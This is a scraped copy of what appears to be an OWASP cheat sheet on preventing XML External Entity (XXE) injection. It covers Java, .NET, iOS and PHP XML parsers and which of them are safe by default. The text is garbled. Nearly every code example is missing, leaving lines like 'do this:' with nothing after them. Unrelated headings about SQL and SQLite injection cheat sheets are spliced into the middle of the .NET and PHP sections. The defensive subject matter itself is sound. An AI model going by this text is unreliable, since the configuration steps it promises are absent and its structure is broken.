  • javax.xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA
  • javax.xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET

XMLReader

To protect a Java org.xml.sax.XMLReader from XXE, do this:

SAXReader

To protect a Java org.dom4j.io.SAXReader from XXE, do this:

Based on testing, if you are missing one of these, you can still be vulnerable to an XXE attack.

SAXBuilder

To protect a Java org.jdom2.input.SAXBuilder from XXE, do this:

JAXB Unmarshaller

Since a javax.xml.bind.Unmarshaller parses XML and does not support any flags for disabling XXE, it’s imperative to parse the untrusted XML through a configurable secure parser first, generate a source object as a result, and pass the source object to the Unmarshaller. For example:

XPathExpression

A javax.xml.xpath.XPathExpression is similar to an Unmarshaller where it can’t be configured securely by itself, so the untrusted data must be parsed through another securable XML parser first.

For example:

java.beans.XMLDecoder

The readObject() method in this class is fundamentally unsafe.

Not only is the XML it parses subject to XXE, but the method can be used to construct any Java object, and execute arbitrary code as described here.

And there is no way to make use of this class safe except to trust or properly validate the input being passed into it.

As such, we'd strongly recommend completely avoiding the use of this class and replacing it with a safe or properly configured XML parser as described elsewhere in this cheat sheet.

Other XML Parsers

There are many 3rd party libraries that parse XML either directly or through their use of other libraries. Please test and verify their XML parser is secure against XXE by default. If the parser is not secure by default, look for flags supported by the parser to disable all possible external resource inclusions like the examples given above. If there’s no control exposed to the outside, make sure the untrusted content is passed through a secure parser first and then passed to insecure 3rd party parser similar to how the Unmarshaller is secured.

Spring Framework MVC/OXM XXE Vulnerabilities

For example, some XXE vulnerabilities were found in Spring OXM and Spring MVC. The following versions of the Spring Framework are vulnerable to XXE:

  • 3.0.0 to 3.2.3 (Spring OXM & Spring MVC)
  • 4.0.0.M1 (Spring OXM)
  • 4.0.0.M1-4.0.0.M2 (Spring MVC)

There were other issues as well that were fixed later, so to fully address these issues, Spring recommends you upgrade to Spring Framework 3.2.8+ or 4.0.2+.

For Spring OXM, this is referring to the use of org.springframework.oxm.jaxb.Jaxb2Marshaller. Note that the CVE for Spring OXM specifically indicates that 2 XML parsing situations are up to the developer to get right, and 2 are the responsibility of Spring and were fixed to address this CVE. Here's what they say:

So, per the Spring OXM CVE writeup, the above is now safe. But if you were to use a DOMSource or StAXSource instead, it would be up to you to configure those sources to be safe from XXE.

.NET

The following information for XXE injection in .NET is directly from this web application of unit tests by Dean Fleming: https://github.com/deanf1/dotnet-security-unit-tests.

This web application covers all currently supported .NET XML parsers, and has test cases for each demonstrating when they are safe from XXE injection and when they are not.

Previously, this information was based on James Jardine's excellent .NET XXE article: https://www.jardinesoftware.net/2016/05/26/xxe-and-net/.


It originally provided more recent and more detailed information than the older article from Microsoft on how to prevent XXE and XML Denial of Service in .NET: http://msdn.microsoft.com/en-us/magazine/ee335713.aspx, however, it has some inaccuracies that the web application covers.

The following table lists all supported .NET XML parsers and their default safety levels:

XML Parser Safe by Default?
LINQ to XMLYes
XmlDictionaryReaderYes
XmlDocument
...prior to 4.5.2No
...in versions 4.5.2 +Yes
XmlNodeReader Yes
XmlReader Yes
XmlTextReader
...prior to 4.5.2 No
...in versions 4.5.2 +Yes
XPathNavigator
...prior to 4.5.2No
...in versions 4.5.2 +Yes
XslCompiledTransform Yes

LINQ to XML

Both the XElement and XDocument objects in the System.Xml.Linq library are safe from XXE injection by default. XElement parses only the elements within the XML file, so DTDs are ignored altogether. XDocument has DTDs disabled by default, and is only unsafe if constructed with a different unsafe XML parser.

XmlDictionaryReader

System.Xml.XmlDictionaryReader is safe by default, as when it attempts to parse the DTD, the compiler throws an exception saying that 'CData elements not valid at top level of an XML document'. It becomes unsafe if constructed with a different unsafe XML parser.

XmlDocument

Prior to .NET Framework version 4.5.2, System.Xml.XmlDocument is unsafe by default. The XmlDocument object has an XmlResolver object within it that needs to be set to null in versions prior to 4.5.2. In versions 4.5.2 and up, this XmlResolver is set to null by default.

The following example shows how it is made safe:

XmlDocument can become unsafe if you create your own nonnull XmlResolver with default or unsafe settings. If you need to enable DTD processing, instructions on how to do so safely are described in detail in the referenced MSDN article.

XmlNodeReader

System.Xml.XmlNodeReader objects are safe by default and will ignore DTDs even when constructed with an unsafe parser or wrapped in another unsafe parser.

XmlReader

System.Xml.XmlReader objects are safe by default.

They are set by default to have their ProhibitDtd property set to false in .NET Framework versions 4.0 and earlier, or their DtdProcessing property set to Prohibit in .NET versions 4.0 and later.

Additionally, in .NET versions 4.5.2 and later, the XmlReaderSettings belonging to the XmlReader has its XmlResolver set to null by default, which provides an additional layer of safety.

Therefore, XmlReader objects will only become unsafe in version 4.5.2 and up if both the DtdProcessing property is set to Parse and the XmlReaderSetting's XmlResolver is set to a nonnull XmlResolver with default or unsafe settings. If you need to enable DTD processing, instructions on how to do so safely are described in detail in the referenced MSDN article.

XmlTextReader

System.Xml.XmlTextReader is unsafe by default in .NET Framework versions prior to 4.5.2. Here is how to make it safe in various .NET versions:

Prior to .NET 4.0

In .NET Framework versions prior to 4.0, DTD parsing behavior for XmlReader objects like XmlTextReader are controlled by the Boolean ProhibitDtd property found in the System.Xml.XmlReaderSettings and System.Xml.XmlTextReader classes.

Set these values to true to disable inline DTDs completely.

.NET 4.0 - .NET 4.5.2

In .NET Framework version 4.0, DTD parsing behavior has been changed. The ProhibitDtd property has been deprecated in favor of the new DtdProcessing property.

However, they didn't change the default settings so XmlTextReader is still vulnerable to XXE by default.

Pentestmonkey Sql Injection Cheat Sheet

Setting DtdProcessing to Prohibit causes the runtime to throw an exception if a <!DOCTYPE> element is present in the XML.

To set this value yourself, it looks like this:

Alternatively, you can set the DtdProcessing property to Ignore, which will not throw an exception on encountering a <!DOCTYPE> element but will simply skip over it and not process it. Finally, you can set DtdProcessing to Parse if you do want to allow and process inline DTDs.

.NET 4.5.2 and later

In .NET Framework versions 4.5.2 and up, XmlTextReader's internal XmlResolver is set to null by default, making the XmlTextReader ignore DTDs by default. The XmlTextReader can become unsafe if if you create your own nonnull XmlResolver with default or unsafe settings.

XPathNavigator

System.Xml.XPath.XPathNavigator is unsafe by default in .NET Framework versions prior to 4.5.2.

This is due to the fact that it implements IXPathNavigable objects like XmlDocument, which are also unsafe by default in versions prior to 4.5.2.

You can make XPathNavigator safe by giving it a safe parser like XmlReader (which is safe by default) in the XPathDocument's constructor.

Here is an example:

XslCompiledTransform

System.Xml.Xsl.XslCompiledTransform (an XML transformer) is safe by default as long as the parser it’s given is safe.

It is safe by default because the default parser of the Transform() methods is an XmlReader, which is safe by default (per above).

Some of the Transform() methods accept an XmlReader or IXPathNavigable (e.g., XmlDocument) as an input, and if you pass in an unsafe XML Parser then the Transform will also be unsafe.

iOS

libxml2

iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly.

However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).

NSXMLDocument

iOS also provides an NSXMLDocument type, which is built on top of libxml2.

However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly.

Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:

  • iOS4 and earlier: All external entities are loaded by default.
  • iOS5 and later: Only entities that don't require network access are loaded. (which is safer)

Xml External Entity Injection Cheat Sheet

However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.

PHP

Sqlite Injection Cheat Sheet

Per the PHP documentation, the following should be set when using the default PHP XML parser in order to prevent XXE:

A description of how to abuse this in PHP is presented in a good SensePost article describing a cool PHP based XXE vulnerability that was fixed in Facebook.

References

Dave Wichers - dave.wichers[at]owasp.org
Xiaoran Wang - xiaoran[at]attacker-domain.com
James Jardine - james[at]jardinesoftware.com
Tony Hsu (Hsiang-Chih)
Dean Fleming